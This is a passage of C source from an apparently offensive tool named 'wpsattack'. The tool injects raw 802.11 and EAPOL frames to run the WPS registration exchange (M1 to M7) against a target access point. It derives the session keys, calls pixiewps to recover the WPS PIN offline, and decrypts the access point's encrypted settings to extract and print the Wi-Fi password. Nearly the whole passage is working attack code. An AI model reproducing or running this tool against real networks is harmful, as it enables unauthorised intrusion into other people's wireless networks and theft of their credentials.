  811.     if(VERBOSE>0)printf("[wpsattack] Sending deauth\n");
  812.     return 0;
  813. }
  814.  
  815. int auth(ATTACK_INFO *attack)
  816. {
  817.     char packet[2048];
  818.     char tgt[32];
  819.     char src[32];
  820.     char sn[8];
  821.  
  822.     sn2hex((attack->sn)++,sn);
  823.     int2hex(attack->tgt_mac,tgt);
  824.     int2hex(attack->src_mac,src);
  825.     sprintf(packet,"00 00 08 00 00 00 00 00 b0 00 34 00 %s %s %s %s 00 00 01 00 00 00",tgt,src,tgt,sn);
  826.     char raw[2048];
  827.     int len=hex2raw(packet,raw);
  828.  
  829.     sem_wait(&sendmutex);
  830.     pcap_inject(fp,raw,len);
  831.     attack->lastsend=gettick();
  832.     sem_post(&sendmutex);
  833.  
  834.     if(attack->resendmsg)free(attack->resendmsg);
  835.     attack->resendmsg=malloc(len);
  836.     memcpy(attack->resendmsg,raw,len);
  837.     attack->resendlen=len;
  838.  
  839.     if(VERBOSE>0)printf("[wpsattack] Sending auth request\n");
  840.     return 0;
  841. }
  842.  
  843. int parse_auth_response(ATTACK_INFO *attack)
  844. {
  845.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  846.     int len=attack->len-attack->radiotap_len;
  847.     if(len<29||pkt[0]!=176)return 1;
  848.     int seq=get_data(pkt+26,2,0);
  849.     int cod=get_data(pkt+28,2,0);
  850.     if(seq==2&&cod==0)return 0;
  851.     return 1;
  852. }
  853.  
  854. int assoc(ATTACK_INFO *attack)
  855. {
  856.     char packet[2048];
  857.     char tgt[32];
  858.     char src[32];
  859.     char sn[8];
  860.     char ssid[512];
  861.     memset(ssid,0,512);
  862.     int slen=strlen(attack->ssid);
  863.     if(slen>255)
  864.         {
  865.             printf("[wpsattack] SSID is fucked up hard m8\n");
  866.             return 1;
  867.         }
  868.     raw2hex(attack->ssid,ssid,slen);
  869.     unsigned char ssid_len=slen;
  870.     sn2hex((attack->sn)++,sn);
  871.     int2hex(attack->tgt_mac,tgt);
  872.     int2hex(attack->src_mac,src);
  873.     sprintf(packet,"00 00 08 00 00 00 00 00 00 00 3a 01 %s %s %s %s 31 04 64 00 00 %02hhX %s \
  874. 01 08 82 84 8b 96 0c 12 18 24 32 04 30 48 60 6c dd 0e 00 50 f2 04 10 4a 00 01 10 10 3a 00 01 02",tgt,src,tgt,sn,ssid_len,ssid);
  875.     char raw[2048];
  876.     int len=hex2raw(packet,raw);
  877.  
  878.     sem_wait(&sendmutex);
  879.     pcap_inject(fp,raw,len);
  880.     attack->lastsend=gettick();
  881.     sem_post(&sendmutex);
  882.  
  883.     if(attack->resendmsg)free(attack->resendmsg);
  884.     attack->resendmsg=malloc(len);
  885.     memcpy(attack->resendmsg,raw,len);
  886.     attack->resendlen=len;
  887.  
  888.     if(VERBOSE>0)printf("[wpsattack] Sending association request\n");
  889.     return 0;
  890. }
  891.  
  892. int parse_assoc_response(ATTACK_INFO *attack)
  893. {
  894.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  895.     int len=attack->len-attack->radiotap_len;
  896.     if(len<29||pkt[0]!=16)return 1;
  897.     int suc=get_data(pkt+26,2,0);
  898.     if(!suc)return 0;
  899.     return 1;
  900. }
  901.  
  902. int eapol_start(ATTACK_INFO *attack)
  903. {
  904.     char packet[2048];
  905.     char tgt[32];
  906.     char src[32];
  907.     char sn[8];
  908.  
  909.     sn2hex((attack->sn)++,sn);
  910.     int2hex(attack->tgt_mac,tgt);
  911.     int2hex(attack->src_mac,src);
  912.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e 01 01 00 00",tgt,src,tgt,sn);
  913.     char raw[2048];
  914.     int len=hex2raw(packet,raw);
  915.  
  916.     sem_wait(&sendmutex);
  917.     pcap_inject(fp,raw,len);
  918.     attack->lastsend=gettick();
  919.     sem_post(&sendmutex);
  920.  
  921.     if(attack->resendmsg)free(attack->resendmsg);
  922.     attack->resendmsg=malloc(len);
  923.     memcpy(attack->resendmsg,raw,len);
  924.     attack->resendlen=len;
  925.     attack->resendlen=len;
  926.  
  927.     if(VERBOSE>0)printf("[wpsattack] Sending EAPOL start\n");
  928.     return 0;
  929. }
  930.  
  931. int parse_identity_rq(ATTACK_INFO *attack)
  932. {
  933.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  934.     int len=attack->len-attack->radiotap_len;
  935.     if(len<40||pkt[0]!=8)return 1;
  936.     int llcorg=get_data(pkt+27,3,0);
  937.     int llctyp=get_data(pkt+30,2,0);
  938.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=1)return 1;
  939.     attack->eap_id=pkt[37];
  940.     return 0;
  941. }
  942.  
  943. int eap_terminate(ATTACK_INFO *attack,unsigned char eap_id)
  944. {
  945.     char packet[2048];
  946.     char tgt[32];
  947.     char src[32];
  948.     char sn[8];
  949.  
  950.     sn2hex((attack->sn)++,sn);
  951.     int2hex(attack->tgt_mac,tgt);
  952.     int2hex(attack->src_mac,src);
  953.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 34 00 %s %s %s %s \
  954. aa aa 03 00 00 00 88 8e 01 00 00 05 04 %02hhX 00 05 04",tgt,src,tgt,sn,eap_id);
  955.     char raw[2048];
  956.     int len=hex2raw(packet,raw);
  957.  
  958.     sem_wait(&sendmutex);
  959.     pcap_inject(fp,raw,len);
  960.     attack->lastsend=gettick();
  961.     sem_post(&sendmutex);
  962.  
  963.     if(attack->resendmsg)free(attack->resendmsg);
  964.     attack->resendmsg=malloc(len);
  965.     memcpy(attack->resendmsg,raw,len);
  966.     attack->resendlen=len;
  967.  
  968.     if(VERBOSE>0)printf("[wpsattack] Sending EAP terminate\n");
  969.     return 0;
  970. }
  971.  
  972. int identity_response(ATTACK_INFO *attack)
  973. {
  974.     char packet[2048];
  975.     char tgt[32];
  976.     char src[32];
  977.     char sn[8];
  978.  
  979.     sn2hex((attack->sn)++,sn);
  980.     int2hex(attack->tgt_mac,tgt);
  981.     int2hex(attack->src_mac,src);
  982.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e \
  983. 01 00 00 23 02 %02hhx 00 23 01 57 46 41 2d 53 69 6d 70 6c 65 43 6f 6e 66 69 67 2d \
  984. 52 65 67 69 73 74 72 61 72 2d 31 2d 30",tgt,src,tgt,sn,attack->eap_id);
  985.     char raw[2048];
  986.     int len=hex2raw(packet,raw);
  987.  
  988.     sem_wait(&sendmutex);
  989.     pcap_inject(fp,raw,len);
  990.     attack->lastsend=gettick();
  991.     sem_post(&sendmutex);
  992.  
  993.     if(attack->resendmsg)free(attack->resendmsg);
  994.     attack->resendmsg=malloc(len);
  995.     memcpy(attack->resendmsg,raw,len);
  996.     attack->resendlen=len;
  997.  
  998.     if(VERBOSE>0)printf("[wpsattack] Sending identity response\n");
  999.     return 0;
  1000. }
  1001.  
  1002. int parse_m1(ATTACK_INFO *attack)
  1003. {
  1004.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1005.     int len=attack->len-attack->radiotap_len;
  1006.     if(len<40||pkt[0]!=8)return 1;
  1007.     int llcorg=get_data(pkt+27,3,0);
  1008.     int llctyp=get_data(pkt+30,2,0);
  1009.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
  1010.     int msglen=get_data(pkt+38,2,1)-14;
  1011.     unsigned char *akt=pkt+50;
  1012.     char enonce[2048];
  1013.     char pkey[2048];
  1014.     while(1)
  1015.         {
  1016.             if(msglen<4)break;
  1017.             int typ=get_data(akt,2,1);
  1018.             int len=get_data(akt+2,2,1);
  1019.             if(typ==4130&&akt[4]!=4)return 1;//MSG TYPE
  1020.             else if(typ==4122)raw2hex(akt+4,enonce,len);//E-NONCE
  1021.             else if(typ==4146)raw2hex(akt+4,pkey,len);//PKEY
  1022.             akt+=(4+len);
  1023.             msglen-=(4+len);
  1024.         }
  1025.  
  1026.     if(attack->m1)free(attack->m1);
  1027.     msglen=get_data(pkt+38,2,1)-14;
  1028.     attack->m1=malloc(msglen);
  1029.     memcpy(attack->m1,pkt+50,msglen);
  1030.     attack->m1l=msglen;
  1031.     attack->eap_id=pkt[37];
  1032.     strcpy(attack->pke,pkey);
  1033.     strcpy(attack->enonce,enonce);
  1034.     return 0;
  1035. }
  1036.  
  1037. void dh_get(ATTACK_INFO *attack,void *mysecret, void *mypublic)
  1038. {
  1039.     DH *dh=DH_new();
  1040.     dh->p=BN_bin2bn(dh_p,192,NULL);
  1041.     dh->g=BN_bin2bn(dh_g,1,NULL);
  1042.  
  1043.     DH_generate_key(dh);
  1044.     BN_bn2bin(dh->priv_key,mysecret);
  1045.     BN_bn2bin(dh->pub_key,mypublic);
  1046.  
  1047.     char publickey[2048];
  1048.     int len=hex2raw(attack->pke,publickey);
  1049.     BIGNUM *pkey=BN_bin2bn((unsigned char*)publickey,len,NULL);
  1050.  
  1051.     DH_compute_key((unsigned char*)attack->secret,pkey,dh);
  1052.  
  1053.     BN_free(pkey);
  1054.     DH_free(dh);
  1055.  
  1056.     char hashme[8194];
  1057.     char tgt[32];
  1058.     int2hex(attack->tgt_mac,tgt);
  1059.  
  1060.     hex2raw(attack->enonce,hashme);
  1061.     hex2raw(tgt,hashme+16);
  1062.     hex2raw(attack->rnonce,hashme+22);
  1063.  
  1064.     char *kdk=sha256_hmac(attack->secret,192,hashme,38);
  1065.  
  1066.     char *derived=kdf(kdk,"Wi-Fi Easy and Secure Key Derivation",640);
  1067.     memcpy(attack->derived,derived,80);
  1068.  
  1069.     free(kdk);
  1070.     free(derived);
  1071. }
  1072.  
  1073. void add_auth(ATTACK_INFO *attack,char *packet,int *len,void *last, int llen)
  1074. {
  1075.     char hashme[8194];
  1076.     int nl=*len;
  1077.  
  1078.     memcpy(hashme,last,llen);
  1079.     memcpy(hashme+llen,packet+58,nl-58);
  1080.     char *auther=sha256_hmac(attack->derived,32,hashme,llen+nl-58);
  1081.  
  1082.     packet[nl]=0x10;
  1083.     packet[nl+1]=0x05;
  1084.     packet[nl+2]=0x00;
  1085.     packet[nl+3]=0x08;
  1086.     memcpy(packet+nl+4,auther,8);
  1087.     free(auther);
  1088.     *len=nl+12;
  1089. }
  1090.  
  1091. int send_m2(ATTACK_INFO *attack)
  1092. {
  1093.     char packet[2048];
  1094.     char tgt[32];
  1095.     char src[32];
  1096.     char sn[8];
  1097.  
  1098.     char mysecret[192],mypublic[192];
  1099.     dh_get(attack,mysecret,mypublic);
  1100.     raw2hex(mypublic,attack->pkr,192);
  1101.  
  1102.     sn2hex((attack->sn)++,sn);
  1103.     int2hex(attack->tgt_mac,tgt);
  1104.     int2hex(attack->src_mac,src);
  1105.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s \
  1106. aa aa 03 00 00 00 88 8e 01 00 01 97 02 %02hhX 01 97 \
  1107. fe 00 37 2a 00 00 00 01 04 00 10 4a 00 01 10 10 \
  1108. 22 00 01 05 10 1a 00 10 %s 10 39 00 10 %s 10 48 00 10 %s \
  1109. 10 32 00 c0 %s 10 04 00 02 00 3f 10 10 00 02 00 0f \
  1110. 10 0d 00 01 01 10 08 00 02 00 8c 10 21 00 09 4d \
  1111. 69 63 72 6f 73 6f 66 74 10 23 00 07 57 69 6e 64 \
  1112. 6f 77 73 10 24 00 08 36 2e 31 2e 37 36 30 31 10 \
  1113. 42 00 01 00 10 54 00 08 00 01 00 50 f2 04 00 01 \
  1114. 10 11 00 04 47 6c 61 75 10 3c 00 01 01 10 02 00 \
  1115. 02 00 00 10 09 00 02 00 00 10 12 00 02 00 00 10 \
  1116. 2d 00 04 80 06 00 01",tgt,src,tgt,sn,attack->eap_id,attack->enonce,attack->rnonce,attack->ruuid,attack->pkr);
  1117.  
  1118.     char raw[2048];
  1119.     int len=hex2raw(packet,raw);
  1120.     add_auth(attack,raw,&len,attack->m1,attack->m1l);
  1121.  
  1122.     sem_wait(&sendmutex);
  1123.     pcap_inject(fp,raw,len);
  1124.     attack->lastsend=gettick();
  1125.     sem_post(&sendmutex);
  1126.  
  1127.     if(attack->resendmsg)free(attack->resendmsg);
  1128.     attack->resendmsg=malloc(len);
  1129.     memcpy(attack->resendmsg,raw,len);
  1130.     attack->resendlen=len;
  1131.  
  1132.     if(VERBOSE>0)printf("[wpsattack] Sending M2\n");
  1133.     return 0;
  1134. }
  1135.  
  1136. unsigned long long int dopixie(ATTACK_INFO *attack)
  1137. {
  1138.     if(!PIXIEDUST)return 100000000LLU;
  1139.     char cmd[4096];
  1140.     char auth[256];
  1141.     raw2hex(attack->derived,auth,32);
  1142.     sprintf(cmd,"pixiewps -e %s -r %s -s %s -z %s -a %s -n %s -m %s 2>/dev/null",attack->pke,attack->pkr,attack->ehash1,attack->ehash2,auth,attack->enonce,attack->rnonce);
  1143.     FILE *p=popen(cmd,"r");
  1144.  
  1145.     unsigned long long int ispin=100000000;
  1146.  
  1147.     while(1)
  1148.         {
  1149.             memset(cmd,0,2048);
  1150.             if(!fgets(cmd,2048,p))break;
  1151.             if(!strncmp(cmd," [+] WPS pin:    ",17))
  1152.                 {
  1153.                     sscanf(cmd," [+] WPS pin:    %llu",&ispin);
  1154.                     break;
  1155.                 }
  1156.         }
  1157.     pclose(p);
  1158.     if(ispin==100000000&&attack->timelimit)attack->pixiefail=1;
  1159.     return ispin;
  1160. }
  1161.  
  1162. int parse_m3(ATTACK_INFO *attack)
  1163. {
  1164.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1165.     int len=attack->len-attack->radiotap_len;
  1166.     if(len<40||pkt[0]!=8)return 1;
  1167.     int llcorg=get_data(pkt+27,3,0);
  1168.     int llctyp=get_data(pkt+30,2,0);
  1169.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
  1170.     int msglen=get_data(pkt+38,2,1)-14;
  1171.     unsigned char *akt=pkt+50;
  1172.     char rnonce[2048],ehash1[2048],ehash2[2048];
  1173.     while(1)
  1174.         {
  1175.             if(msglen<4)break;
  1176.             int typ=get_data(akt,2,1);
  1177.             int len=get_data(akt+2,2,1);
  1178.             if(typ==4130&&akt[4]!=7)return 1;//MSG TYPE
  1179.             else if(typ==4116)raw2hex(akt+4,ehash1,len);
  1180.             else if(typ==4117)raw2hex(akt+4,ehash2,len);
  1181.             else if(typ==4153)
  1182.                 {
  1183.                     raw2hex(akt+4,rnonce,len);
  1184.                     if(strcmp(rnonce,attack->rnonce))return 1;
  1185.                 }
  1186.             akt+=(4+len);
  1187.             msglen-=(4+len);
  1188.         }
  1189.     strcpy(attack->ehash1,ehash1);
  1190.     strcpy(attack->ehash2,ehash2);
  1191.     if(attack->m3)free(attack->m3);
  1192.     msglen=get_data(pkt+38,2,1)-14;
  1193.     attack->m3=malloc(msglen);
  1194.     memcpy(attack->m3,pkt+50,msglen);
  1195.     attack->m3l=msglen;
  1196.     attack->eap_id=pkt[37];
  1197.  
  1198.     if(!attack->printedshit)
  1199.         {
  1200.             if(VERBOSE>1)
  1201.                 {
  1202.                     printf("PKE: %s\n",attack->pke);
  1203.                     printf("PKR: %s\n",attack->pkr);
  1204.                     printf("EHASH1: %s\n",attack->ehash1);
  1205.                     printf("EHASH2: %s\n",attack->ehash2);
  1206.                     printf("AUTHKEY: ");
  1207.                     printhex(attack->derived,32);
  1208.                     printf("ENONCE: %s\n",attack->enonce);
  1209.                     printf("RNONCE: %s\n",attack->rnonce);
  1210.                 }
  1211.             attack->printedshit++;
  1212.  
  1213.             unsigned long long int pp=100000000;
  1214.             if(!attack->pixiewin)pp=dopixie(attack);
  1215.             if(pp!=100000000)
  1216.                 {
  1217.                     attack->pixiewin=1;
  1218.                     char pin[9];
  1219.                     sprintf(pin,"%08llu",pp);
  1220.                     sem_wait(&(attack->pins->mutex));
  1221.  
  1222.                     PINLIST *add=malloc(sizeof(PINLIST));
  1223.                     add->psk=pp/10000;
  1224.                     add->next=attack->pins->unused1;
  1225.                     attack->pins->unused1=add;
  1226.  
  1227.                     add=malloc(sizeof(PINLIST));
  1228.                     add->psk=(pp-((pp/10000)*10000))/10;
  1229.                     add->next=attack->pins->unused2;
  1230.                     attack->pins->unused2=add;
  1231.                     attack->pins->psk2=add->psk;
  1232.                     strcpy(attack->pin,pin);
  1233.                     sem_post(&(attack->pins->mutex));
  1234.                 }
  1235.         }
  1236.  
  1237.  
  1238.  
  1239.     return 0;
  1240. }
  1241.  
  1242. void randbytes(char *out,int len)
  1243. {
  1244.     int i;
  1245.     for(i=0; i<len; i++)out[i]=rand();
  1246. }
  1247.  
  1248. void make_rhash(ATTACK_INFO *attack,char *pin,void *rh1,void *rh2)
  1249. {
  1250.     char pke[192];
  1251.     char pkr[192];
  1252.     hex2raw(attack->pke,pke);
  1253.     hex2raw(attack->pkr,pkr);
  1254.  
  1255.     char *psk1=sha256_hmac(attack->derived,32,pin,4);
  1256.  
  1257.     char hashme[2048];
  1258.     memcpy(hashme,attack->rs1,16);
  1259.     memcpy(hashme+16,psk1,16);
  1260.     free(psk1);
  1261.  
  1262.     memcpy(hashme+32,pke,192);
  1263.     memcpy(hashme+32+192,pkr,192);
  1264.  
  1265.     void *RH1=sha256_hmac(attack->derived,32,hashme,32+192+192);
  1266.     memcpy(rh1,RH1,32);
  1267.     free(RH1);
  1268.  
  1269.     char *psk2=sha256_hmac(attack->derived,32,pin+4,4);
  1270.  
  1271.     memcpy(hashme,attack->rs2,16);
  1272.     memcpy(hashme+16,psk2,16);
  1273.     free(psk2);
  1274.     void *RH2=sha256_hmac(attack->derived,32,hashme,32+192+192);
  1275.     memcpy(rh2,RH2,32);
  1276.     free(RH2);
  1277. }
  1278.  
  1279. void make_encset(ATTACK_INFO *attack,char *encset,int nonce)
  1280. {
  1281.     encset[0]=0x10;
  1282.     encset[1]=0x18;
  1283.     encset[2]=0x00;
  1284.     encset[3]=0x40;
  1285.  
  1286.  
  1287.     memcpy(encset+4,attack->iv,16);
  1288.  
  1289.     encset[20]=0x10;
  1290.     if(nonce)encset[21]=0x40;
  1291.     else encset[21]=0x3F;
  1292.     encset[22]=0x00;
  1293.     encset[23]=0x10;
  1294.  
  1295.     if(nonce)memcpy(encset+24,attack->rs2,16);
  1296.     else memcpy(encset+24,attack->rs1,16);
  1297.  
  1298.     char *hash=sha256_hmac(attack->derived,32,encset+20,20);
  1299.  
  1300.     encset[40]=0x10;
  1301.     encset[41]=0x1e;
  1302.     encset[42]=0x00;
  1303.     encset[43]=0x08;
  1304.  
  1305.     memcpy(encset+44,hash,8);
  1306.     memset(encset+52,16,16);
  1307.  
  1308.     AES_KEY enc_key;
  1309.     AES_set_encrypt_key((unsigned char*)attack->derived+32,128,&enc_key);
  1310.  
  1311.     char enc_out[2048];
  1312.     char tmpiv[2048];
  1313.     memcpy(tmpiv,encset+4,16);
  1314.  
  1315.     AES_cbc_encrypt((unsigned char*)encset+20,(unsigned char*)enc_out,48,&enc_key,(unsigned char*)tmpiv,AES_ENCRYPT);
  1316.     memcpy(encset+20,enc_out,48);
  1317.     free(hash);
  1318. }
  1319.  
  1320. int send_m4(ATTACK_INFO *attack)
  1321. {
  1322.     char packet[2048];
  1323.     char tgt[32];
  1324.     char src[32];
  1325.     char sn[8];
  1326.  
  1327.     char rh1[256],rh2[256],h1[256],h2[256];
  1328.  
  1329.     make_rhash(attack,attack->pin,rh1,rh2);
  1330.  
  1331.     raw2hex(rh1,h1,32);
  1332.     raw2hex(rh2,h2,32);
  1333.  
  1334.     sn2hex((attack->sn)++,sn);
  1335.     int2hex(attack->tgt_mac,tgt);
  1336.     int2hex(attack->src_mac,src);
  1337.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s \
  1338. aa aa 03 00 00 00 88 8e 01 00 00 c4 02 %02hhX 00 c4 \
  1339. fe 00 37 2a 00 00 00 01 04 00 10 4a 00 01 10 10 \
  1340. 22 00 01 08 10 1a 00 10 %s 10 3d 00 20 %s 10 3e 00 20 \
  1341. %s",tgt,src,tgt,sn,attack->eap_id,attack->enonce,h1,h2);
  1342.     char raw[2048];
  1343.     int len=hex2raw(packet,raw);
  1344.  
  1345.     make_encset(attack,raw+len,0);
  1346.  
  1347.     len+=68;
  1348.     add_auth(attack,raw,&len,attack->m3,attack->m3l);
  1349.  
  1350.     sem_wait(&sendmutex);
  1351.     pcap_inject(fp,raw,len);
  1352.     attack->lastsend=gettick();
  1353.     sem_post(&sendmutex);
  1354.  
  1355.     if(attack->resendmsg)free(attack->resendmsg);
  1356.     attack->resendmsg=malloc(len);
  1357.     memcpy(attack->resendmsg,raw,len);
  1358.     attack->resendlen=len;
  1359.  
  1360.     if(VERBOSE>0)printf("[wpsattack] Sending M4\n");
  1361.     return 0;
  1362. }
  1363.  
  1364. void parse_enc_settings(ATTACK_INFO *attack,void *settings,int slen)
  1365. {
  1366.     AES_KEY enc_key;
  1367.     AES_set_decrypt_key((unsigned char*)attack->derived+32,128,&enc_key);
  1368.     char dec_out[2048];
  1369.     AES_cbc_encrypt((unsigned char*)settings+16,(unsigned char*)dec_out,slen-16,&enc_key,(unsigned char*)settings,AES_DECRYPT);
  1370.  
  1371.     slen-=16;
  1372.     int pad=dec_out[slen-1];
  1373.     slen-=pad;
  1374.  
  1375.     int i;
  1376.     int ispass=0;
  1377.     char pass[256];
  1378.  
  1379.     int lenbk=slen;
  1380.  
  1381.     unsigned char *akt=(unsigned char*)dec_out;
  1382.     while(1)
  1383.         {
  1384.             if(slen<4)break;
  1385.             int typ=get_data(akt,2,1);
  1386.             int len=get_data(akt+2,2,1);
  1387.             if(typ==4135)
  1388.                 {
  1389.                     memcpy(pass,akt+4,len);
  1390.                     ispass=len;
  1391.                 }
  1392.             akt+=(4+len);
  1393.             slen-=(4+len);
  1394.         }
  1395.     slen=lenbk;
  1396.     akt=(unsigned char*)dec_out;
  1397.     if(ispass)while(1)
  1398.             {
  1399.                 if(slen<4)break;
  1400.                 int typ=get_data(akt,2,1);
  1401.                 int len=get_data(akt+2,2,1);
  1402.                 if(typ==4135)
  1403.                     {
  1404.                         memcpy(pass,akt+4,len);
  1405.                         ispass=len;
  1406.                     }
  1407.                 else
  1408.                     {
  1409.                         if(VERBOSE>0)
  1410.                             {
  1411.                                 printf("[wpsattack] Unknown encrypted attribute:\n");
  1412.                                 printf("\tType:\t\t0x%04X\n",typ);
  1413.                                 printf("\tHEX Value:\t");
  1414.                                 for(i=0; i<len; i++)
  1415.                                     {
  1416.                                         if(i)putchar(' ');
  1417.                                         printf("%02hhX",akt[4+i]);
  1418.                                     }
  1419.                                 printf("\n\n");
  1420.                             }
  1421.                     }
  1422.                 akt+=(4+len);
  1423.                 slen-=(4+len);
  1424.             }
  1425.  
  1426.     if(ispass)
  1427.         {
  1428.             memset(attack->foundpass,0,256);
  1429.             memcpy(attack->foundpass,pass,ispass);
  1430.             strcpy(attack->foundpin,attack->pin);
  1431.  
  1432.             pASSES *add=malloc(sizeof(pASSES));
  1433.             strcpy(add->pin,attack->pin);
  1434.             memset(add->pass,0,256);
  1435.             memset(add->ssid,0,256);
  1436.  
  1437.             strcpy(add->ssid,attack->ssid);
  1438.             memcpy(add->pass,pass,ispass);
  1439.  
  1440.             sem_wait(&passes_sem);
  1441.  
  1442.             add->next=passlist;
  1443.             add->passlen=ispass;
  1444.             passlist=add;
  1445.  
  1446.             sem_post(&passes_sem);
  1447.  
  1448.             if(VERBOSE>0)
  1449.                 {
  1450.                     printf("[wpsattack] Password: '");
  1451.                     for(i=0; i<ispass; i++)putchar(pass[i]);
  1452.                     printf("' HEX: ");
  1453.                     for(i=0; i<ispass; i++)
  1454.                         {
  1455.                             if(i)putchar(' ');
  1456.                             printf("%02hhX",pass[i]);
  1457.                         }
  1458.                     printf("\n\n");
  1459.                 }
  1460.         }
  1461. }
  1462.  
  1463. int parse_m5(ATTACK_INFO *attack)
  1464. {
  1465.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1466.     int len=attack->len-attack->radiotap_len;
  1467.     if(len<40||pkt[0]!=8)return 1;
  1468.     int llcorg=get_data(pkt+27,3,0);
  1469.     int llctyp=get_data(pkt+30,2,0);
  1470.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
  1471.     int msglen=get_data(pkt+38,2,1)-14;
  1472.     unsigned char *akt=pkt+50;
  1473.  
  1474.     int slen;
  1475.     char settings[2048],rnonce[2048];
  1476.     while(1)
  1477.         {
  1478.             if(msglen<4)break;
  1479.             int typ=get_data(akt,2,1);
  1480.             int len=get_data(akt+2,2,1);
  1481.             if(typ==4130&&akt[4]!=9)return 1;//MSG TYPE
  1482.             else if(typ==4120)
  1483.                 {
  1484.                     memcpy(settings,akt+4,len);    //ENCRYPTED SETTINGS
  1485.                     slen=len;
  1486.                 }
  1487.             else if(typ==4153)
  1488.                 {
  1489.                     raw2hex(akt+4,rnonce,len);
  1490.                     if(strcmp(rnonce,attack->rnonce))return 1;
  1491.                 }
  1492.             akt+=(4+len);
  1493.             msglen-=(4+len);
  1494.         }
  1495.  
  1496.     parse_enc_settings(attack,settings,slen);
  1497.  
  1498.     if(attack->m5)free(attack->m5);
  1499.     msglen=get_data(pkt+38,2,1)-14;
  1500.     attack->m5=malloc(msglen);
  1501.     memcpy(attack->m5,pkt+50,msglen);
  1502.     attack->m5l=msglen;
  1503.     attack->eap_id=pkt[37];
  1504.     return 0;
  1505. }
  1506.  
  1507. int send_m6(ATTACK_INFO *attack)
  1508. {
  1509.     char packet[2048];
  1510.     char tgt[32];
  1511.     char src[32];
  1512.     char sn[8];
  1513.  
  1514.     sn2hex((attack->sn)++,sn);
  1515.     int2hex(attack->tgt_mac,tgt);
  1516.     int2hex(attack->src_mac,src);
  1517.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s \
  1518. aa aa 03 00 00 00 88 8e 01 00 00 7c 02 %02hhx 00 7c \
  1519. fe 00 37 2a 00 00 00 01 04 00 10 4a 00 01 10 10 \
  1520. 22 00 01 0a 10 1a 00 10 %s",tgt,src,tgt,sn,attack->eap_id,attack->enonce);
  1521.     char raw[2048];
  1522.     int len=hex2raw(packet,raw);
  1523.  
  1524.     make_encset(attack,raw+len,1);
  1525.  
  1526.     len+=68;
  1527.     add_auth(attack,raw,&len,attack->m5,attack->m5l);
  1528.  
  1529.     sem_wait(&sendmutex);
  1530.     pcap_inject(fp,raw,len);
  1531.     attack->lastsend=gettick();
  1532.     sem_post(&sendmutex);
  1533.  
  1534.     if(attack->resendmsg)free(attack->resendmsg);
  1535.     attack->resendmsg=malloc(len);
  1536.     memcpy(attack->resendmsg,raw,len);
  1537.     attack->resendlen=len;
  1538.  
  1539.     if(VERBOSE>0)printf("[wpsattack] Sending M6\n");
  1540.     return 0;
  1541. }
  1542.  
  1543. int parse_m7(ATTACK_INFO *attack)
  1544. {
  1545.     unsigned char *pkt=attack->packet+attack->radiotap_len;
  1546.     int len=attack->len-attack->radiotap_len;
  1547.     if(len<40||pkt[0]!=8)return 1;
  1548.     int llcorg=get_data(pkt+27,3,0);
  1549.     int llctyp=get_data(pkt+30,2,0);
  1550.     if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
  1551.     int msglen=get_data(pkt+38,2,1)-14;
  1552.     unsigned char *akt=pkt+50;
  1553.  
  1554.     int slen;
  1555.     char settings[2048],rnonce[2048];
  1556.     while(1)
  1557.         {
  1558.             if(msglen<4)break;
  1559.             int typ=get_data(akt,2,1);
  1560.             int len=get_data(akt+2,2,1);
  1561.             if(typ==4130&&akt[4]!=11)return 1;//MSG TYPE
  1562.             else if(typ==4120)
  1563.                 {
  1564.                     memcpy(settings,akt+4,len);    //ENCRYPTED SETTINGS
  1565.                     slen=len;
  1566.                 }
  1567.             else if(typ==4153)
  1568.                 {
  1569.                     raw2hex(akt+4,rnonce,len);
  1570.                     if(strcmp(rnonce,attack->rnonce))return 1;
  1571.                 }
  1572.             akt+=(4+len);
  1573.             msglen-=(4+len);
  1574.         }
  1575.  
  1576.     parse_enc_settings(attack,settings,slen);
  1577.  
  1578.     if(attack->m5)free(attack->m5);
  1579.     msglen=get_data(pkt+38,2,1)-14;
  1580.     attack->m5=malloc(msglen);
  1581.     memcpy(attack->m5,pkt+50,msglen);
  1582.     attack->m5l=msglen;
  1583.     attack->eap_id=pkt[37];
  1584.     return 0;
  1585. }
  1586.  
  1587. int send_nack(ATTACK_INFO *attack,char *rnonce,unsigned char eap_id)
  1588. {
  1589.     if(VERBOSE>0)printf("[wpsattack] Sending NACK\n");
  1590.     char packet[2048];
  1591.     char tgt[32];
  1592.     char src[32];
  1593.     char sn[8];
  1594.  
  1595.     sn2hex((attack->sn)++,sn);
  1596.     int2hex(attack->tgt_mac,tgt);
  1597.     int2hex(attack->src_mac,src);
  1598.     sprintf(packet,"00 00 08 00 00 00 00 00 08 01 34 00 %s %s %s %s \
  1599. aa aa 03 00 00 00 88 8e 01 00 00 46 02 %02hhX 00 46 fe 00 37 2a 00 00 00 01 03 00 10 4a 00 01 10 10 \
  1600. 22 00 01 0e 10 1a 00 10 %s 10 39 00 10 %s 10 09 00 02 00 00",tgt,src,tgt,sn,eap_id,attack->enonce,rnonce);
  1601.     char raw[2048];
  1602.     int len=hex2raw(packet,raw);
  1603.  
  1604.     sem_wait(&sendmutex);
  1605.     pcap_inject(fp,raw,len);
  1606.     attack->lastsend=gettick();
  1607.     sem_post(&sendmutex);
  1608.     return 0;
  1609. }
  1610.  
  1611. int parse_nack(ATTACK_INFO *attack,char *rnonce,unsigned char *eap_id)
  1612. {
  1613.     if(FUCKNACK)return 1;
